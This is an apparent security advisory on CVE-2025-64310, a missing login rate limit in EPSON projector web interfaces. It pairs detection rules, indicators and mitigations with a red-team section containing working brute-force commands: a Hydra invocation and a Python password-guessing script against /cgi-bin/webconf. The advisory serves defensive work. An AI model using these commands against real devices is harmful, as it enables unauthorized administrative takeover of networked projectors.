CVE-2025-64310

Executive Summary

CVE-2025-64310 exposes a critical authentication bypass vulnerability in EPSON WebConfig and Epson Web Control interfaces used across multiple SEIKO EPSON projector product lines. The flaw stems from the absence of rate limiting or account lockout mechanisms on the administrative login endpoint, enabling unauthenticated remote attackers to perform brute-force password guessing attacks against the administrative user account. With a CVSS score of 9.8, this vulnerability is considered critical due to the low attack complexity, no required privileges, and no user interaction. Successful exploitation grants full administrative control over the projector, potentially allowing attackers to modify device settings, exfiltrate sensitive data, or pivot into the internal network.

This vulnerability is particularly dangerous in enterprise, education, and hospitality environments where projectors are often deployed with default or weak administrative credentials and exposed to internal or external networks. The lack of a vendor-supplied patch at the time of analysis elevates the risk, requiring immediate compensating controls.

Supply Chain & Package Security

This vulnerability is not related to any software package registry (NPM, PyPI, Go, Ruby). It affects embedded firmware on EPSON projector hardware. Supply chain risk is limited to the physical device and its firmware update mechanism.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector (AV): Network – The vulnerability is exploitable remotely over the network.
• Attack Complexity (AC): Low – No special conditions or race conditions are required.
• Privileges Required (PR): None – No authentication is needed to initiate the attack.
• User Interaction (UI): None – The victim does not need to perform any action.
• Scope (S): Unchanged – The vulnerable component and the impacted component are the same.
• Confidentiality (C): High – Full administrative access exposes all device configurations and potentially network credentials.
• Integrity (I): High – An attacker can modify projector settings, firmware, or display content.
• Availability (A): High – An attacker could disable the projector or render it inoperable.

Threat Level: Critical. The combination of network accessibility, low complexity, and high impact makes this a prime target for automated scanning and exploitation.

Deep Dive & Mechanics

The vulnerability resides in the authentication mechanism of the EPSON WebConfig and Epson Web Control web interfaces. These interfaces are used for remote management of EPSON projectors, including configuration, monitoring, and firmware updates.

Root Cause: The web server handling login requests does not implement any form of rate limiting, account lockout, or CAPTCHA. This allows an attacker to send an unlimited number of authentication attempts in rapid succession.

Attack Flow:

1. Discovery: An attacker identifies an EPSON projector with the web interface exposed on TCP port 80 or 443. Shodan dorks can be used to find vulnerable devices.
2. Enumeration: The attacker accesses the login page (typically / or /cgi-bin/webconf) and identifies the POST parameters for username and password.
3. Brute Force: Using a tool like Hydra, Medusa, or a custom Python script, the attacker iterates through a list of common passwords (e.g., admin, password, 12345, epson) or uses a dictionary attack.
4. Authentication Bypass: Upon guessing the correct password, the server returns a session cookie or token, granting the attacker administrative access.
5. Post-Exploitation: The attacker can now change settings, disable security features, install malicious firmware, or use the projector as a pivot point into the internal network.

Why it works: The HTTP response for a failed login is typically a 200 OK with an error message, while a successful login returns a 302 redirect or a 200 OK with a session cookie. The attacker can differentiate these responses to automate the process.

Vulnerable vs. Patched Code

Since no patch is available, a comparison cannot be made. However, a secure implementation would include:

Vulnerable Code (Conceptual):

@app.route('/login', methods=['POST'])
def login():
    username = request.form['username']
    password = request.form['password']
    if check_credentials(username, password):
        session['authenticated'] = True
        return redirect('/dashboard')
    else:
        return render_template('login.html', error='Invalid credentials')

Patched Code (Conceptual):

from flask_limiter import Limiter
from flask_limiter.util import get_remote_address

limiter = Limiter(key_func=get_remote_address)

@app.route('/login', methods=['POST'])
@limiter.limit("5 per minute")
def login():
    username = request.form['username']
    password = request.form['password']
    if check_credentials(username, password):
        session['authenticated'] = True
        return redirect('/dashboard')
    else:
        return render_template('login.html', error='Invalid credentials')

The patched version introduces rate limiting (5 attempts per minute per IP) and would ideally also implement account lockout after a certain number of failed attempts.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

• Target: EPSON projector (e.g., EB- series) with WebConfig enabled on a isolated network segment.
• Attacker: Kali Linux VM on the same network.

Exploitation Steps:

1. Identify the target:

   nmap -p 80,443 --script http-title <target_ip>
   

2. Enumerate the login endpoint:

   curl -v http://<target_ip>/cgi-bin/webconf
   

3. Brute force using Hydra:

   hydra -l admin -P /usr/share/wordlists/rockyou.txt <target_ip> http-post-form "/cgi-bin/webconf:user=^USER^&pass=^PASS^:F=Invalid"
   

4. Automated script (Python):

   import requests
   
   target = "http://<target_ip>/cgi-bin/webconf"
   passwords = ["admin", "password", "12345", "epson", "123456"]
   
   for pwd in passwords:
       data = {"user": "admin", "pass": pwd}
       r = requests.post(target, data=data, allow_redirects=False)
       if r.status_code == 302:
           print(f"[+] Password found: {pwd}")
           break
   

Expected Outcome: The attacker gains a session cookie and can access the administrative dashboard.

Blue Team (Defensive)

Detection & Response:

1. Monitor for excessive login attempts:

   • Alert on >10 failed login attempts from a single IP within 5 minutes.
   • Correlate with known brute-force tools (Hydra, Medusa).

2. Network Segmentation:

   • Place projectors on a separate VLAN with strict firewall rules.
   • Block inbound access to port 80/443 from untrusted networks.

3. Web Application Firewall (WAF) Rules:

   • Rate limit requests to /cgi-bin/webconf to 5 requests per minute per IP.
   • Block IPs that exceed the threshold.

4. Honeypot:

   • Deploy a fake EPSON WebConfig interface to detect scanning activity.

Indicators of Compromise (IOCs)

Network IOCs:

• Multiple HTTP POST requests to /cgi-bin/webconf with varying pass parameters.
• HTTP responses with status 200 and body containing "Invalid" or "Login failed".
• User-Agent strings associated with brute-force tools (e.g., hydra, python-requests).

Host IOCs (on the projector):

• Unusual number of failed authentication logs in the device's internal logs (if accessible).
• Changes to administrative password or network settings.
• Unauthorized firmware updates.

File IOCs:

• Log files containing repeated login attempts from the same IP.

Detection Engineering

YARA Rule

rule CVE_2025_64310_EPSON_BruteForce {
    meta:
        description = "Detects brute-force attempts against EPSON WebConfig login"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-64310"
    strings:
        $s1 = "POST /cgi-bin/webconf" ascii wide nocase
        $s2 = "user=" ascii wide nocase
        $s3 = "pass=" ascii wide nocase
        $s4 = "Invalid" ascii wide nocase
    condition:
        all of ($s*) and #s1 > 10
}

Sigma Rule

title: EPSON WebConfig Brute Force Attempt
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects multiple failed login attempts to EPSON WebConfig interface
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/cgi-bin/webconf'
        sc-status: 200
        cs-uri-query|contains: 'pass='
    condition: selection | count() by src_ip > 10 within 5m
falsepositives:
    - Legitimate password reset attempts
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-64310 EPSON WebConfig Brute Force Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/webconf"; http_uri; content:"user="; http_client_body; content:"pass="; http_client_body; threshold: type both, track by_src, count 10, seconds 300; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions (Compensating Controls):

1. Disable Remote Management: If not required, disable the EPSON WebConfig and Epson Web Control interfaces entirely via the projector's OSD menu.
2. Network Segmentation: Isolate projectors on a dedicated VLAN with strict ACLs. Only allow management access from trusted administrative IPs.
3. Change Default Credentials: Immediately change the default administrative password to a strong, unique password (minimum 16 characters, complex).
4. Deploy WAF: Place a Web Application Firewall in front of the projector to rate-limit login attempts and block brute-force patterns.
5. Monitor Logs: Enable and monitor projector logs for failed authentication attempts.

Vendor Patch (When Available):

• Apply the firmware update from SEIKO EPSON as soon as it is released.
• The patch should implement rate limiting, account lockout after 5 failed attempts, and CAPTCHA.

Long-Term Recommendations:

• Implement a vulnerability management program to track and patch embedded devices.
• Use network access control (NAC) to prevent unauthorized devices from connecting.
• Consider replacing projectors with models that support modern authentication protocols (e.g., 802.1X).

Valters IT
DevSecOps & Cyber Threat Intelligence Division